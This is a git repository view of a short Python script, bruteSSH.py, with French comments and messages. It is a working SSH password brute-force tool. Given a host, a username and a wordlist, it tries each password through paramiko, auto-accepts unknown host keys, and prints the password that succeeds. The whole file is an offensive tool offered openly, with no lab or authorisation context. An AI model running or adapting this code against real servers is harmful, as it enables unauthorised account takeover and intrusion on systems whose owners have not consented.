summaryrefslogtreecommitdiff
path: root/bruteSSH.py
blob: 2cfa67db303f254a5a2ddaeb979c4d2abf8aa751 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import paramiko, sys

def bruteforce(hostname, username, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname, username=username, password=password)
    except:
        print("erreur : ",password)
        #pass
    else:
        print("trouvé : ",password)
        return True
    finally:
        client.close()

if __name__ == "__main__":
    hostname = sys.argv[1]
    username = sys.argv[2]
    dico = sys.argv[3]
    try:
        with open(dico, 'r') as wordlist:
            for ligne in wordlist.readlines():
                # le fichier nmap.lst à des commentaires en début de fichier
                if ligne[0] != "#":         
                    password=ligne.strip()
                    if bruteforce(hostname,username,password)==True:
                        sys.exit()
    except IndexError:
        print(f"{sys.argv[0]} demande une hôte, un username et une liste de passwords en arguments")